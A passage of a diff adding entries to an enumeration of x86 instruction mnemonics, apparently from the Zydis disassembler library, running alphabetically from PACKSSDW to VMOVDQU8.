ZYDIS_MNEMONIC_PACKSSDW, + ZYDIS_MNEMONIC_PACKSSWB, + ZYDIS_MNEMONIC_PACKUSDW, + ZYDIS_MNEMONIC_PACKUSWB, + ZYDIS_MNEMONIC_PADDB, + ZYDIS_MNEMONIC_PADDD, + ZYDIS_MNEMONIC_PADDQ, + ZYDIS_MNEMONIC_PADDSB, + ZYDIS_MNEMONIC_PADDSW, + ZYDIS_MNEMONIC_PADDUSB, + ZYDIS_MNEMONIC_PADDUSW, + ZYDIS_MNEMONIC_PADDW, + ZYDIS_MNEMONIC_PALIGNR, + ZYDIS_MNEMONIC_PAND, + ZYDIS_MNEMONIC_PANDN, + ZYDIS_MNEMONIC_PAUSE, + ZYDIS_MNEMONIC_PAVGB, + ZYDIS_MNEMONIC_PAVGUSB, + ZYDIS_MNEMONIC_PAVGW, + ZYDIS_MNEMONIC_PBLENDVB, + ZYDIS_MNEMONIC_PBLENDW, + ZYDIS_MNEMONIC_PCLMULQDQ, + ZYDIS_MNEMONIC_PCMPEQB, + ZYDIS_MNEMONIC_PCMPEQD, + ZYDIS_MNEMONIC_PCMPEQQ, + ZYDIS_MNEMONIC_PCMPEQW, + ZYDIS_MNEMONIC_PCMPESTRI, + ZYDIS_MNEMONIC_PCMPESTRM, + ZYDIS_MNEMONIC_PCMPGTB, + ZYDIS_MNEMONIC_PCMPGTD, + ZYDIS_MNEMONIC_PCMPGTQ, + ZYDIS_MNEMONIC_PCMPGTW, + ZYDIS_MNEMONIC_PCMPISTRI, + ZYDIS_MNEMONIC_PCMPISTRM, + ZYDIS_MNEMONIC_PCONFIG, + ZYDIS_MNEMONIC_PDEP, + ZYDIS_MNEMONIC_PEXT, + ZYDIS_MNEMONIC_PEXTRB, + ZYDIS_MNEMONIC_PEXTRD, + ZYDIS_MNEMONIC_PEXTRQ, + ZYDIS_MNEMONIC_PEXTRW, + ZYDIS_MNEMONIC_PF2ID, + ZYDIS_MNEMONIC_PF2IW, + ZYDIS_MNEMONIC_PFACC, + ZYDIS_MNEMONIC_PFADD, + ZYDIS_MNEMONIC_PFCMPEQ, + ZYDIS_MNEMONIC_PFCMPGE, + ZYDIS_MNEMONIC_PFCMPGT, + ZYDIS_MNEMONIC_PFCPIT1, + ZYDIS_MNEMONIC_PFMAX, + ZYDIS_MNEMONIC_PFMIN, + ZYDIS_MNEMONIC_PFMUL, + ZYDIS_MNEMONIC_PFNACC, + ZYDIS_MNEMONIC_PFPNACC, + ZYDIS_MNEMONIC_PFRCP, + ZYDIS_MNEMONIC_PFRCPIT2, + ZYDIS_MNEMONIC_PFRSQIT1, + ZYDIS_MNEMONIC_PFSQRT, + ZYDIS_MNEMONIC_PFSUB, + ZYDIS_MNEMONIC_PFSUBR, + ZYDIS_MNEMONIC_PHADDD, + ZYDIS_MNEMONIC_PHADDSW, + ZYDIS_MNEMONIC_PHADDW, + ZYDIS_MNEMONIC_PHMINPOSUW, + ZYDIS_MNEMONIC_PHSUBD, + ZYDIS_MNEMONIC_PHSUBSW, + ZYDIS_MNEMONIC_PHSUBW, + ZYDIS_MNEMONIC_PI2FD, + ZYDIS_MNEMONIC_PI2FW, + ZYDIS_MNEMONIC_PINSRB, + ZYDIS_MNEMONIC_PINSRD, + ZYDIS_MNEMONIC_PINSRQ, + ZYDIS_MNEMONIC_PINSRW, + ZYDIS_MNEMONIC_PMADDUBSW, + ZYDIS_MNEMONIC_PMADDWD, + ZYDIS_MNEMONIC_PMAXSB, + ZYDIS_MNEMONIC_PMAXSD, + ZYDIS_MNEMONIC_PMAXSW, + ZYDIS_MNEMONIC_PMAXUB, + ZYDIS_MNEMONIC_PMAXUD, + ZYDIS_MNEMONIC_PMAXUW, + ZYDIS_MNEMONIC_PMINSB, + ZYDIS_MNEMONIC_PMINSD, + ZYDIS_MNEMONIC_PMINSW, + ZYDIS_MNEMONIC_PMINUB, + ZYDIS_MNEMONIC_PMINUD, + ZYDIS_MNEMONIC_PMINUW, + ZYDIS_MNEMONIC_PMOVMSKB, + ZYDIS_MNEMONIC_PMOVSXBD, + ZYDIS_MNEMONIC_PMOVSXBQ, + ZYDIS_MNEMONIC_PMOVSXBW, + ZYDIS_MNEMONIC_PMOVSXDQ, + ZYDIS_MNEMONIC_PMOVSXWD, + ZYDIS_MNEMONIC_PMOVSXWQ, + ZYDIS_MNEMONIC_PMOVZXBD, + ZYDIS_MNEMONIC_PMOVZXBQ, + ZYDIS_MNEMONIC_PMOVZXBW, + ZYDIS_MNEMONIC_PMOVZXDQ, + ZYDIS_MNEMONIC_PMOVZXWD, + ZYDIS_MNEMONIC_PMOVZXWQ, + ZYDIS_MNEMONIC_PMULDQ, + ZYDIS_MNEMONIC_PMULHRSW, + ZYDIS_MNEMONIC_PMULHRW, + ZYDIS_MNEMONIC_PMULHUW, + ZYDIS_MNEMONIC_PMULHW, + ZYDIS_MNEMONIC_PMULLD, + ZYDIS_MNEMONIC_PMULLW, + ZYDIS_MNEMONIC_PMULUDQ, + ZYDIS_MNEMONIC_POP, + ZYDIS_MNEMONIC_POPA, + ZYDIS_MNEMONIC_POPAD, + ZYDIS_MNEMONIC_POPCNT, + ZYDIS_MNEMONIC_POPF, + ZYDIS_MNEMONIC_POPFD, + ZYDIS_MNEMONIC_POPFQ, + ZYDIS_MNEMONIC_POR, + ZYDIS_MNEMONIC_PREFETCH, + ZYDIS_MNEMONIC_PREFETCHNTA, + ZYDIS_MNEMONIC_PREFETCHT0, + ZYDIS_MNEMONIC_PREFETCHT1, + ZYDIS_MNEMONIC_PREFETCHT2, + ZYDIS_MNEMONIC_PREFETCHW, + ZYDIS_MNEMONIC_PREFETCHWT1, + ZYDIS_MNEMONIC_PSADBW, + ZYDIS_MNEMONIC_PSHUFB, + ZYDIS_MNEMONIC_PSHUFD, + ZYDIS_MNEMONIC_PSHUFHW, + ZYDIS_MNEMONIC_PSHUFLW, + ZYDIS_MNEMONIC_PSHUFW, + ZYDIS_MNEMONIC_PSIGNB, + ZYDIS_MNEMONIC_PSIGND, + ZYDIS_MNEMONIC_PSIGNW, + ZYDIS_MNEMONIC_PSLLD, + ZYDIS_MNEMONIC_PSLLDQ, + ZYDIS_MNEMONIC_PSLLQ, + ZYDIS_MNEMONIC_PSLLW, + ZYDIS_MNEMONIC_PSMASH, + ZYDIS_MNEMONIC_PSRAD, + ZYDIS_MNEMONIC_PSRAW, + ZYDIS_MNEMONIC_PSRLD, + ZYDIS_MNEMONIC_PSRLDQ, + ZYDIS_MNEMONIC_PSRLQ, + ZYDIS_MNEMONIC_PSRLW, + ZYDIS_MNEMONIC_PSUBB, + ZYDIS_MNEMONIC_PSUBD, + ZYDIS_MNEMONIC_PSUBQ, + ZYDIS_MNEMONIC_PSUBSB, + ZYDIS_MNEMONIC_PSUBSW, + ZYDIS_MNEMONIC_PSUBUSB, + ZYDIS_MNEMONIC_PSUBUSW, + ZYDIS_MNEMONIC_PSUBW, + ZYDIS_MNEMONIC_PSWAPD, + ZYDIS_MNEMONIC_PTEST, + ZYDIS_MNEMONIC_PTWRITE, + ZYDIS_MNEMONIC_PUNPCKHBW, + ZYDIS_MNEMONIC_PUNPCKHDQ, + ZYDIS_MNEMONIC_PUNPCKHQDQ, + ZYDIS_MNEMONIC_PUNPCKHWD, + ZYDIS_MNEMONIC_PUNPCKLBW, + ZYDIS_MNEMONIC_PUNPCKLDQ, + ZYDIS_MNEMONIC_PUNPCKLQDQ, + ZYDIS_MNEMONIC_PUNPCKLWD, + ZYDIS_MNEMONIC_PUSH, + ZYDIS_MNEMONIC_PUSHA, + ZYDIS_MNEMONIC_PUSHAD, + ZYDIS_MNEMONIC_PUSHF, + ZYDIS_MNEMONIC_PUSHFD, + ZYDIS_MNEMONIC_PUSHFQ, + ZYDIS_MNEMONIC_PVALIDATE, + ZYDIS_MNEMONIC_PXOR, + ZYDIS_MNEMONIC_RCL, + ZYDIS_MNEMONIC_RCPPS, + ZYDIS_MNEMONIC_RCPSS, + ZYDIS_MNEMONIC_RCR, + ZYDIS_MNEMONIC_RDFSBASE, + ZYDIS_MNEMONIC_RDGSBASE, + ZYDIS_MNEMONIC_RDMSR, + ZYDIS_MNEMONIC_RDPID, + ZYDIS_MNEMONIC_RDPKRU, + ZYDIS_MNEMONIC_RDPMC, + ZYDIS_MNEMONIC_RDPRU, + ZYDIS_MNEMONIC_RDRAND, + ZYDIS_MNEMONIC_RDSEED, + ZYDIS_MNEMONIC_RDSSPD, + ZYDIS_MNEMONIC_RDSSPQ, + ZYDIS_MNEMONIC_RDTSC, + ZYDIS_MNEMONIC_RDTSCP, + ZYDIS_MNEMONIC_RET, + ZYDIS_MNEMONIC_RMPADJUST, + ZYDIS_MNEMONIC_RMPUPDATE, + ZYDIS_MNEMONIC_ROL, + ZYDIS_MNEMONIC_ROR, + ZYDIS_MNEMONIC_RORX, + ZYDIS_MNEMONIC_ROUNDPD, + ZYDIS_MNEMONIC_ROUNDPS, + ZYDIS_MNEMONIC_ROUNDSD, + ZYDIS_MNEMONIC_ROUNDSS, + ZYDIS_MNEMONIC_RSM, + ZYDIS_MNEMONIC_RSQRTPS, + ZYDIS_MNEMONIC_RSQRTSS, + ZYDIS_MNEMONIC_RSTORSSP, + ZYDIS_MNEMONIC_SAHF, + ZYDIS_MNEMONIC_SALC, + ZYDIS_MNEMONIC_SAR, + ZYDIS_MNEMONIC_SARX, + ZYDIS_MNEMONIC_SAVEPREVSSP, + ZYDIS_MNEMONIC_SBB, + ZYDIS_MNEMONIC_SCASB, + ZYDIS_MNEMONIC_SCASD, + ZYDIS_MNEMONIC_SCASQ, + ZYDIS_MNEMONIC_SCASW, + ZYDIS_MNEMONIC_SERIALIZE, + ZYDIS_MNEMONIC_SETB, + ZYDIS_MNEMONIC_SETBE, + ZYDIS_MNEMONIC_SETL, + ZYDIS_MNEMONIC_SETLE, + ZYDIS_MNEMONIC_SETNB, + ZYDIS_MNEMONIC_SETNBE, + ZYDIS_MNEMONIC_SETNL, + ZYDIS_MNEMONIC_SETNLE, + ZYDIS_MNEMONIC_SETNO, + ZYDIS_MNEMONIC_SETNP, + ZYDIS_MNEMONIC_SETNS, + ZYDIS_MNEMONIC_SETNZ, + ZYDIS_MNEMONIC_SETO, + ZYDIS_MNEMONIC_SETP, + ZYDIS_MNEMONIC_SETS, + ZYDIS_MNEMONIC_SETSSBSY, + ZYDIS_MNEMONIC_SETZ, + ZYDIS_MNEMONIC_SFENCE, + ZYDIS_MNEMONIC_SGDT, + ZYDIS_MNEMONIC_SHA1MSG1, + ZYDIS_MNEMONIC_SHA1MSG2, + ZYDIS_MNEMONIC_SHA1NEXTE, + ZYDIS_MNEMONIC_SHA1RNDS4, + ZYDIS_MNEMONIC_SHA256MSG1, + ZYDIS_MNEMONIC_SHA256MSG2, + ZYDIS_MNEMONIC_SHA256RNDS2, + ZYDIS_MNEMONIC_SHL, + ZYDIS_MNEMONIC_SHLD, + ZYDIS_MNEMONIC_SHLX, + ZYDIS_MNEMONIC_SHR, + ZYDIS_MNEMONIC_SHRD, + ZYDIS_MNEMONIC_SHRX, + ZYDIS_MNEMONIC_SHUFPD, + ZYDIS_MNEMONIC_SHUFPS, + ZYDIS_MNEMONIC_SIDT, + ZYDIS_MNEMONIC_SKINIT, + ZYDIS_MNEMONIC_SLDT, + ZYDIS_MNEMONIC_SLWPCB, + ZYDIS_MNEMONIC_SMSW, + ZYDIS_MNEMONIC_SPFLT, + ZYDIS_MNEMONIC_SQRTPD, + ZYDIS_MNEMONIC_SQRTPS, + ZYDIS_MNEMONIC_SQRTSD, + ZYDIS_MNEMONIC_SQRTSS, + ZYDIS_MNEMONIC_STAC, + ZYDIS_MNEMONIC_STC, + ZYDIS_MNEMONIC_STD, + ZYDIS_MNEMONIC_STGI, + ZYDIS_MNEMONIC_STI, + ZYDIS_MNEMONIC_STMXCSR, + ZYDIS_MNEMONIC_STOSB, + ZYDIS_MNEMONIC_STOSD, + ZYDIS_MNEMONIC_STOSQ, + ZYDIS_MNEMONIC_STOSW, + ZYDIS_MNEMONIC_STR, + ZYDIS_MNEMONIC_STTILECFG, + ZYDIS_MNEMONIC_SUB, + ZYDIS_MNEMONIC_SUBPD, + ZYDIS_MNEMONIC_SUBPS, + ZYDIS_MNEMONIC_SUBSD, + ZYDIS_MNEMONIC_SUBSS, + ZYDIS_MNEMONIC_SWAPGS, + ZYDIS_MNEMONIC_SYSCALL, + ZYDIS_MNEMONIC_SYSENTER, + ZYDIS_MNEMONIC_SYSEXIT, + ZYDIS_MNEMONIC_SYSRET, + ZYDIS_MNEMONIC_T1MSKC, + ZYDIS_MNEMONIC_TDPBF16PS, + ZYDIS_MNEMONIC_TDPBSSD, + ZYDIS_MNEMONIC_TDPBSUD, + ZYDIS_MNEMONIC_TDPBUSD, + ZYDIS_MNEMONIC_TDPBUUD, + ZYDIS_MNEMONIC_TEST, + ZYDIS_MNEMONIC_TILELOADD, + ZYDIS_MNEMONIC_TILELOADDT1, + ZYDIS_MNEMONIC_TILERELEASE, + ZYDIS_MNEMONIC_TILESTORED, + ZYDIS_MNEMONIC_TILEZERO, + ZYDIS_MNEMONIC_TLBSYNC, + ZYDIS_MNEMONIC_TPAUSE, + ZYDIS_MNEMONIC_TZCNT, + ZYDIS_MNEMONIC_TZCNTI, + ZYDIS_MNEMONIC_TZMSK, + ZYDIS_MNEMONIC_UCOMISD, + ZYDIS_MNEMONIC_UCOMISS, + ZYDIS_MNEMONIC_UD0, + ZYDIS_MNEMONIC_UD1, + ZYDIS_MNEMONIC_UD2, + ZYDIS_MNEMONIC_UMONITOR, + ZYDIS_MNEMONIC_UMWAIT, + ZYDIS_MNEMONIC_UNPCKHPD, + ZYDIS_MNEMONIC_UNPCKHPS, + ZYDIS_MNEMONIC_UNPCKLPD, + ZYDIS_MNEMONIC_UNPCKLPS, + ZYDIS_MNEMONIC_V4FMADDPS, + ZYDIS_MNEMONIC_V4FMADDSS, + ZYDIS_MNEMONIC_V4FNMADDPS, + ZYDIS_MNEMONIC_V4FNMADDSS, + ZYDIS_MNEMONIC_VADDNPD, + ZYDIS_MNEMONIC_VADDNPS, + ZYDIS_MNEMONIC_VADDPD, + ZYDIS_MNEMONIC_VADDPS, + ZYDIS_MNEMONIC_VADDSD, + ZYDIS_MNEMONIC_VADDSETSPS, + ZYDIS_MNEMONIC_VADDSS, + ZYDIS_MNEMONIC_VADDSUBPD, + ZYDIS_MNEMONIC_VADDSUBPS, + ZYDIS_MNEMONIC_VAESDEC, + ZYDIS_MNEMONIC_VAESDECLAST, + ZYDIS_MNEMONIC_VAESENC, + ZYDIS_MNEMONIC_VAESENCLAST, + ZYDIS_MNEMONIC_VAESIMC, + ZYDIS_MNEMONIC_VAESKEYGENASSIST, + ZYDIS_MNEMONIC_VALIGND, + ZYDIS_MNEMONIC_VALIGNQ, + ZYDIS_MNEMONIC_VANDNPD, + ZYDIS_MNEMONIC_VANDNPS, + ZYDIS_MNEMONIC_VANDPD, + ZYDIS_MNEMONIC_VANDPS, + ZYDIS_MNEMONIC_VBLENDMPD, + ZYDIS_MNEMONIC_VBLENDMPS, + ZYDIS_MNEMONIC_VBLENDPD, + ZYDIS_MNEMONIC_VBLENDPS, + ZYDIS_MNEMONIC_VBLENDVPD, + ZYDIS_MNEMONIC_VBLENDVPS, + ZYDIS_MNEMONIC_VBROADCASTF128, + ZYDIS_MNEMONIC_VBROADCASTF32X2, + ZYDIS_MNEMONIC_VBROADCASTF32X4, + ZYDIS_MNEMONIC_VBROADCASTF32X8, + ZYDIS_MNEMONIC_VBROADCASTF64X2, + ZYDIS_MNEMONIC_VBROADCASTF64X4, + ZYDIS_MNEMONIC_VBROADCASTI128, + ZYDIS_MNEMONIC_VBROADCASTI32X2, + ZYDIS_MNEMONIC_VBROADCASTI32X4, + ZYDIS_MNEMONIC_VBROADCASTI32X8, + ZYDIS_MNEMONIC_VBROADCASTI64X2, + ZYDIS_MNEMONIC_VBROADCASTI64X4, + ZYDIS_MNEMONIC_VBROADCASTSD, + ZYDIS_MNEMONIC_VBROADCASTSS, + ZYDIS_MNEMONIC_VCMPPD, + ZYDIS_MNEMONIC_VCMPPS, + ZYDIS_MNEMONIC_VCMPSD, + ZYDIS_MNEMONIC_VCMPSS, + ZYDIS_MNEMONIC_VCOMISD, + ZYDIS_MNEMONIC_VCOMISS, + ZYDIS_MNEMONIC_VCOMPRESSPD, + ZYDIS_MNEMONIC_VCOMPRESSPS, + ZYDIS_MNEMONIC_VCVTDQ2PD, + ZYDIS_MNEMONIC_VCVTDQ2PS, + ZYDIS_MNEMONIC_VCVTFXPNTDQ2PS, + ZYDIS_MNEMONIC_VCVTFXPNTPD2DQ, + ZYDIS_MNEMONIC_VCVTFXPNTPD2UDQ, + ZYDIS_MNEMONIC_VCVTFXPNTPS2DQ, + ZYDIS_MNEMONIC_VCVTFXPNTPS2UDQ, + ZYDIS_MNEMONIC_VCVTFXPNTUDQ2PS, + ZYDIS_MNEMONIC_VCVTNE2PS2BF16, + ZYDIS_MNEMONIC_VCVTNEPS2BF16, + ZYDIS_MNEMONIC_VCVTPD2DQ, + ZYDIS_MNEMONIC_VCVTPD2PS, + ZYDIS_MNEMONIC_VCVTPD2QQ, + ZYDIS_MNEMONIC_VCVTPD2UDQ, + ZYDIS_MNEMONIC_VCVTPD2UQQ, + ZYDIS_MNEMONIC_VCVTPH2PS, + ZYDIS_MNEMONIC_VCVTPS2DQ, + ZYDIS_MNEMONIC_VCVTPS2PD, + ZYDIS_MNEMONIC_VCVTPS2PH, + ZYDIS_MNEMONIC_VCVTPS2QQ, + ZYDIS_MNEMONIC_VCVTPS2UDQ, + ZYDIS_MNEMONIC_VCVTPS2UQQ, + ZYDIS_MNEMONIC_VCVTQQ2PD, + ZYDIS_MNEMONIC_VCVTQQ2PS, + ZYDIS_MNEMONIC_VCVTSD2SI, + ZYDIS_MNEMONIC_VCVTSD2SS, + ZYDIS_MNEMONIC_VCVTSD2USI, + ZYDIS_MNEMONIC_VCVTSI2SD, + ZYDIS_MNEMONIC_VCVTSI2SS, + ZYDIS_MNEMONIC_VCVTSS2SD, + ZYDIS_MNEMONIC_VCVTSS2SI, + ZYDIS_MNEMONIC_VCVTSS2USI, + ZYDIS_MNEMONIC_VCVTTPD2DQ, + ZYDIS_MNEMONIC_VCVTTPD2QQ, + ZYDIS_MNEMONIC_VCVTTPD2UDQ, + ZYDIS_MNEMONIC_VCVTTPD2UQQ, + ZYDIS_MNEMONIC_VCVTTPS2DQ, + ZYDIS_MNEMONIC_VCVTTPS2QQ, + ZYDIS_MNEMONIC_VCVTTPS2UDQ, + ZYDIS_MNEMONIC_VCVTTPS2UQQ, + ZYDIS_MNEMONIC_VCVTTSD2SI, + ZYDIS_MNEMONIC_VCVTTSD2USI, + ZYDIS_MNEMONIC_VCVTTSS2SI, + ZYDIS_MNEMONIC_VCVTTSS2USI, + ZYDIS_MNEMONIC_VCVTUDQ2PD, + ZYDIS_MNEMONIC_VCVTUDQ2PS, + ZYDIS_MNEMONIC_VCVTUQQ2PD, + ZYDIS_MNEMONIC_VCVTUQQ2PS, + ZYDIS_MNEMONIC_VCVTUSI2SD, + ZYDIS_MNEMONIC_VCVTUSI2SS, + ZYDIS_MNEMONIC_VDBPSADBW, + ZYDIS_MNEMONIC_VDIVPD, + ZYDIS_MNEMONIC_VDIVPS, + ZYDIS_MNEMONIC_VDIVSD, + ZYDIS_MNEMONIC_VDIVSS, + ZYDIS_MNEMONIC_VDPBF16PS, + ZYDIS_MNEMONIC_VDPPD, + ZYDIS_MNEMONIC_VDPPS, + ZYDIS_MNEMONIC_VERR, + ZYDIS_MNEMONIC_VERW, + ZYDIS_MNEMONIC_VEXP223PS, + ZYDIS_MNEMONIC_VEXP2PD, + ZYDIS_MNEMONIC_VEXP2PS, + ZYDIS_MNEMONIC_VEXPANDPD, + ZYDIS_MNEMONIC_VEXPANDPS, + ZYDIS_MNEMONIC_VEXTRACTF128, + ZYDIS_MNEMONIC_VEXTRACTF32X4, + ZYDIS_MNEMONIC_VEXTRACTF32X8, + ZYDIS_MNEMONIC_VEXTRACTF64X2, + ZYDIS_MNEMONIC_VEXTRACTF64X4, + ZYDIS_MNEMONIC_VEXTRACTI128, + ZYDIS_MNEMONIC_VEXTRACTI32X4, + ZYDIS_MNEMONIC_VEXTRACTI32X8, + ZYDIS_MNEMONIC_VEXTRACTI64X2, + ZYDIS_MNEMONIC_VEXTRACTI64X4, + ZYDIS_MNEMONIC_VEXTRACTPS, + ZYDIS_MNEMONIC_VFIXUPIMMPD, + ZYDIS_MNEMONIC_VFIXUPIMMPS, + ZYDIS_MNEMONIC_VFIXUPIMMSD, + ZYDIS_MNEMONIC_VFIXUPIMMSS, + ZYDIS_MNEMONIC_VFIXUPNANPD, + ZYDIS_MNEMONIC_VFIXUPNANPS, + ZYDIS_MNEMONIC_VFMADD132PD, + ZYDIS_MNEMONIC_VFMADD132PS, + ZYDIS_MNEMONIC_VFMADD132SD, + ZYDIS_MNEMONIC_VFMADD132SS, + ZYDIS_MNEMONIC_VFMADD213PD, + ZYDIS_MNEMONIC_VFMADD213PS, + ZYDIS_MNEMONIC_VFMADD213SD, + ZYDIS_MNEMONIC_VFMADD213SS, + ZYDIS_MNEMONIC_VFMADD231PD, + ZYDIS_MNEMONIC_VFMADD231PS, + ZYDIS_MNEMONIC_VFMADD231SD, + ZYDIS_MNEMONIC_VFMADD231SS, + ZYDIS_MNEMONIC_VFMADD233PS, + ZYDIS_MNEMONIC_VFMADDPD, + ZYDIS_MNEMONIC_VFMADDPS, + ZYDIS_MNEMONIC_VFMADDSD, + ZYDIS_MNEMONIC_VFMADDSS, + ZYDIS_MNEMONIC_VFMADDSUB132PD, + ZYDIS_MNEMONIC_VFMADDSUB132PS, + ZYDIS_MNEMONIC_VFMADDSUB213PD, + ZYDIS_MNEMONIC_VFMADDSUB213PS, + ZYDIS_MNEMONIC_VFMADDSUB231PD, + ZYDIS_MNEMONIC_VFMADDSUB231PS, + ZYDIS_MNEMONIC_VFMADDSUBPD, + ZYDIS_MNEMONIC_VFMADDSUBPS, + ZYDIS_MNEMONIC_VFMSUB132PD, + ZYDIS_MNEMONIC_VFMSUB132PS, + ZYDIS_MNEMONIC_VFMSUB132SD, + ZYDIS_MNEMONIC_VFMSUB132SS, + ZYDIS_MNEMONIC_VFMSUB213PD, + ZYDIS_MNEMONIC_VFMSUB213PS, + ZYDIS_MNEMONIC_VFMSUB213SD, + ZYDIS_MNEMONIC_VFMSUB213SS, + ZYDIS_MNEMONIC_VFMSUB231PD, + ZYDIS_MNEMONIC_VFMSUB231PS, + ZYDIS_MNEMONIC_VFMSUB231SD, + ZYDIS_MNEMONIC_VFMSUB231SS, + ZYDIS_MNEMONIC_VFMSUBADD132PD, + ZYDIS_MNEMONIC_VFMSUBADD132PS, + ZYDIS_MNEMONIC_VFMSUBADD213PD, + ZYDIS_MNEMONIC_VFMSUBADD213PS, + ZYDIS_MNEMONIC_VFMSUBADD231PD, + ZYDIS_MNEMONIC_VFMSUBADD231PS, + ZYDIS_MNEMONIC_VFMSUBADDPD, + ZYDIS_MNEMONIC_VFMSUBADDPS, + ZYDIS_MNEMONIC_VFMSUBPD, + ZYDIS_MNEMONIC_VFMSUBPS, + ZYDIS_MNEMONIC_VFMSUBSD, + ZYDIS_MNEMONIC_VFMSUBSS, + ZYDIS_MNEMONIC_VFNMADD132PD, + ZYDIS_MNEMONIC_VFNMADD132PS, + ZYDIS_MNEMONIC_VFNMADD132SD, + ZYDIS_MNEMONIC_VFNMADD132SS, + ZYDIS_MNEMONIC_VFNMADD213PD, + ZYDIS_MNEMONIC_VFNMADD213PS, + ZYDIS_MNEMONIC_VFNMADD213SD, + ZYDIS_MNEMONIC_VFNMADD213SS, + ZYDIS_MNEMONIC_VFNMADD231PD, + ZYDIS_MNEMONIC_VFNMADD231PS, + ZYDIS_MNEMONIC_VFNMADD231SD, + ZYDIS_MNEMONIC_VFNMADD231SS, + ZYDIS_MNEMONIC_VFNMADDPD, + ZYDIS_MNEMONIC_VFNMADDPS, + ZYDIS_MNEMONIC_VFNMADDSD, + ZYDIS_MNEMONIC_VFNMADDSS, + ZYDIS_MNEMONIC_VFNMSUB132PD, + ZYDIS_MNEMONIC_VFNMSUB132PS, + ZYDIS_MNEMONIC_VFNMSUB132SD, + ZYDIS_MNEMONIC_VFNMSUB132SS, + ZYDIS_MNEMONIC_VFNMSUB213PD, + ZYDIS_MNEMONIC_VFNMSUB213PS, + ZYDIS_MNEMONIC_VFNMSUB213SD, + ZYDIS_MNEMONIC_VFNMSUB213SS, + ZYDIS_MNEMONIC_VFNMSUB231PD, + ZYDIS_MNEMONIC_VFNMSUB231PS, + ZYDIS_MNEMONIC_VFNMSUB231SD, + ZYDIS_MNEMONIC_VFNMSUB231SS, + ZYDIS_MNEMONIC_VFNMSUBPD, + ZYDIS_MNEMONIC_VFNMSUBPS, + ZYDIS_MNEMONIC_VFNMSUBSD, + ZYDIS_MNEMONIC_VFNMSUBSS, + ZYDIS_MNEMONIC_VFPCLASSPD, + ZYDIS_MNEMONIC_VFPCLASSPS, + ZYDIS_MNEMONIC_VFPCLASSSD, + ZYDIS_MNEMONIC_VFPCLASSSS, + ZYDIS_MNEMONIC_VFRCZPD, + ZYDIS_MNEMONIC_VFRCZPS, + ZYDIS_MNEMONIC_VFRCZSD, + ZYDIS_MNEMONIC_VFRCZSS, + ZYDIS_MNEMONIC_VGATHERDPD, + ZYDIS_MNEMONIC_VGATHERDPS, + ZYDIS_MNEMONIC_VGATHERPF0DPD, + ZYDIS_MNEMONIC_VGATHERPF0DPS, + ZYDIS_MNEMONIC_VGATHERPF0HINTDPD, + ZYDIS_MNEMONIC_VGATHERPF0HINTDPS, + ZYDIS_MNEMONIC_VGATHERPF0QPD, + ZYDIS_MNEMONIC_VGATHERPF0QPS, + ZYDIS_MNEMONIC_VGATHERPF1DPD, + ZYDIS_MNEMONIC_VGATHERPF1DPS, + ZYDIS_MNEMONIC_VGATHERPF1QPD, + ZYDIS_MNEMONIC_VGATHERPF1QPS, + ZYDIS_MNEMONIC_VGATHERQPD, + ZYDIS_MNEMONIC_VGATHERQPS, + ZYDIS_MNEMONIC_VGETEXPPD, + ZYDIS_MNEMONIC_VGETEXPPS, + ZYDIS_MNEMONIC_VGETEXPSD, + ZYDIS_MNEMONIC_VGETEXPSS, + ZYDIS_MNEMONIC_VGETMANTPD, + ZYDIS_MNEMONIC_VGETMANTPS, + ZYDIS_MNEMONIC_VGETMANTSD, + ZYDIS_MNEMONIC_VGETMANTSS, + ZYDIS_MNEMONIC_VGF2P8AFFINEINVQB, + ZYDIS_MNEMONIC_VGF2P8AFFINEQB, + ZYDIS_MNEMONIC_VGF2P8MULB, + ZYDIS_MNEMONIC_VGMAXABSPS, + ZYDIS_MNEMONIC_VGMAXPD, + ZYDIS_MNEMONIC_VGMAXPS, + ZYDIS_MNEMONIC_VGMINPD, + ZYDIS_MNEMONIC_VGMINPS, + ZYDIS_MNEMONIC_VHADDPD, + ZYDIS_MNEMONIC_VHADDPS, + ZYDIS_MNEMONIC_VHSUBPD, + ZYDIS_MNEMONIC_VHSUBPS, + ZYDIS_MNEMONIC_VINSERTF128, + ZYDIS_MNEMONIC_VINSERTF32X4, + ZYDIS_MNEMONIC_VINSERTF32X8, + ZYDIS_MNEMONIC_VINSERTF64X2, + ZYDIS_MNEMONIC_VINSERTF64X4, + ZYDIS_MNEMONIC_VINSERTI128, + ZYDIS_MNEMONIC_VINSERTI32X4, + ZYDIS_MNEMONIC_VINSERTI32X8, + ZYDIS_MNEMONIC_VINSERTI64X2, + ZYDIS_MNEMONIC_VINSERTI64X4, + ZYDIS_MNEMONIC_VINSERTPS, + ZYDIS_MNEMONIC_VLDDQU, + ZYDIS_MNEMONIC_VLDMXCSR, + ZYDIS_MNEMONIC_VLOADUNPACKHD, + ZYDIS_MNEMONIC_VLOADUNPACKHPD, + ZYDIS_MNEMONIC_VLOADUNPACKHPS, + ZYDIS_MNEMONIC_VLOADUNPACKHQ, + ZYDIS_MNEMONIC_VLOADUNPACKLD, + ZYDIS_MNEMONIC_VLOADUNPACKLPD, + ZYDIS_MNEMONIC_VLOADUNPACKLPS, + ZYDIS_MNEMONIC_VLOADUNPACKLQ, + ZYDIS_MNEMONIC_VLOG2PS, + ZYDIS_MNEMONIC_VMASKMOVDQU, + ZYDIS_MNEMONIC_VMASKMOVPD, + ZYDIS_MNEMONIC_VMASKMOVPS, + ZYDIS_MNEMONIC_VMAXPD, + ZYDIS_MNEMONIC_VMAXPS, + ZYDIS_MNEMONIC_VMAXSD, + ZYDIS_MNEMONIC_VMAXSS, + ZYDIS_MNEMONIC_VMCALL, + ZYDIS_MNEMONIC_VMCLEAR, + ZYDIS_MNEMONIC_VMFUNC, + ZYDIS_MNEMONIC_VMINPD, + ZYDIS_MNEMONIC_VMINPS, + ZYDIS_MNEMONIC_VMINSD, + ZYDIS_MNEMONIC_VMINSS, + ZYDIS_MNEMONIC_VMLAUNCH, + ZYDIS_MNEMONIC_VMLOAD, + ZYDIS_MNEMONIC_VMMCALL, + ZYDIS_MNEMONIC_VMOVAPD, + ZYDIS_MNEMONIC_VMOVAPS, + ZYDIS_MNEMONIC_VMOVD, + ZYDIS_MNEMONIC_VMOVDDUP, + ZYDIS_MNEMONIC_VMOVDQA, + ZYDIS_MNEMONIC_VMOVDQA32, + ZYDIS_MNEMONIC_VMOVDQA64, + ZYDIS_MNEMONIC_VMOVDQU, + ZYDIS_MNEMONIC_VMOVDQU16, + ZYDIS_MNEMONIC_VMOVDQU32, + ZYDIS_MNEMONIC_VMOVDQU64, + ZYDIS_MNEMONIC_VMOVDQU8, + 